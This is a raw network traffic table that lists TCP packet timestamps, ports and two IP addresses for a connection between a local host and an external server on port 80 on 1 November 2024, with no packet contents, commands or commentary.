Nov 1, 2024 12:35:03.951719999 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.951731920 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.951744080 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.951776981 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.951801062 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.952136993 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.952148914 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.952188015 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.952203989 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.952347040 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.952358961 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.952385902 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.952397108 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.952405930 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.952409029 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.952420950 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.952433109 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.952438116 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.952455044 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.952481031 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.952486038 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.952497959 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.952508926 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.952522993 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.952543974 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.952697039 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.952708960 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.952719927 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.952748060 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.952759981 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.952771902 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.952775002 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.952784061 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.952795029 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.952797890 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.952822924 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.952852011 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.953020096 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.953037024 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.953048944 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.953062057 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.953073978 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.953078032 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.953087091 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.953102112 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.953119993 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.954253912 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.954478025 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.955049992 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.955084085 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.955108881 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.955120087 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.955138922 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.955149889 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.955159903 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.955177069 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.955188036 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.955205917 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.955343008 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.955497980 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.956212044 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.956223011 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.956271887 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.035418987 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.035459042 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.035470963 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.035526037 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.035562992 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.035602093 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.035640955 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.035845995 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.035859108 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.035871983 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.035885096 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.035898924 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.035898924 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.035912037 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.035926104 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.035927057 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.035938978 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.035953045 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.035955906 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.035976887 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.035999060 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.036043882 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.036056042 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.036068916 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.036077976 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.036099911 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.036134005 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.036320925 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.036334038 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.036345959 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.036356926 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.036365032 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.036376953 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.036392927 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.036398888 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.036417007 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.036426067 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.036431074 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.036442995 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.036447048 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.036454916 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.036458015 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.036465883 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.036478043 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.036478996 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.036489964 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.036501884 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.036501884 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.036514044 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.036526918 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.036534071 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.036560059 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.036576986 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.037010908 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.037023067 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.037049055 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.037060022 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.037065983 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.037072897 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.037074089 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.037085056 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.037096024 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.037097931 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.037126064 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.037265062 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.037276983 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.037288904 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.037307024 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.037307978 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.037331104 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.037355900 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.037590981 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.037602901 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.037643909 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.080118895 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.080133915 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.080146074 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.080177069 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.080193996 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.080224991 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.080235958 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.080246925 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.080260038 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.080265999 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.080293894 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.080632925 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.080645084 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.080657005 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.080668926 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.080679893 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.080689907 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.080723047 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.080790043 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.080812931 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.080823898 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.080835104 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.080852032 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.080864906 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.080960989 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.081068993 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.081079006 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.081090927 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.081100941 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.081111908 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.081123114 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.081125975 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.081134081 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.081145048 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.081151962 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.081156969 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.081168890 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.081168890 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.081182003 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.081212997 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.083291054 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.083322048 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.083334923 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.083364964 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.083404064 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.083405972 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.083415985 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.083427906 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.083456993 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.083565950 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.083576918 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.083610058 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.099493027 CET	80	50050	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.099550962 CET	50050	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.132657051 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.132675886 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.132740974 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.157527924 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.157561064 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.157573938 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.157583952 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.157593012 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.157596111 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.157618046 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.157639980 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.157660961 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.157674074 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.157696962 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.157718897 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.158689976 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.158705950 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.158719063 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.158730984 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.158741951 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.158745050 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.158766031 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.158792973 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.159780979 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.159800053 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.159811020 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.159822941 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.159833908 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.159833908 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.159848928 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.159852028 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.159864902 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.159876108 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.159881115 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.159888983 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.159898996 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.159899950 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.159914970 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.159924984 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.159929037 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.159931898 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.159944057 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.159948111 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.159956932 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.159969091 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.159970999 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.159993887 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.160021067 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.160305023 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.160342932 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.160384893 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.160398006 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.160432100 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.160444975 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.160619974 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.160634041 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.160645962 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.160657883 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.160671949 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.160701036 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.160762072 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.160778999 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.160789967 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.160803080 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.160814047 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.160819054 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.160825968 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.160834074 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.160836935 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.160847902 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.160850048 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.160864115 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.160885096 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.160904884 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.161087036 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.161139011 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.161185980 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.161199093 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.161209106 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.161226034 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.161252975 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.203813076 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.203825951 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.203836918 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.203864098 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.203881979 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.204003096 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.204015017 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.204025984 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.204041958 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.204061031 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.204112053 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.204123974 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.204140902 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.204165936 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.204186916 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.204369068 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.204411030 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.204437971 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.204449892 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.204462051 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.204488993 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.204519033 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.204776049 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.204786062 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.204797983 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.204822063 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.204833031 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.204833984 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.204840899 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.204848051 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.204859018 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.204866886 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.204871893 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.204881907 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.204883099 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.204910040 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.204933882 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.204936028 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.204948902 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.204958916 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.204973936 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.204976082 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.204986095 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.205008030 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.205342054 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.205353975 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.205364943 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.205375910 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.205383062 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.205401897 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.205419064 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.207860947 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.207911015 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.207935095 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.207948923 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.207988977 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.208415985 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.208427906 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.208440065 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.208451033 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.208462000 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.208470106 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.208491087 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.208515882 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.208677053 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.208689928 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:04.208714962 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:04.208740950 CET	50043	80	192.168.2.7	185.215.113.16
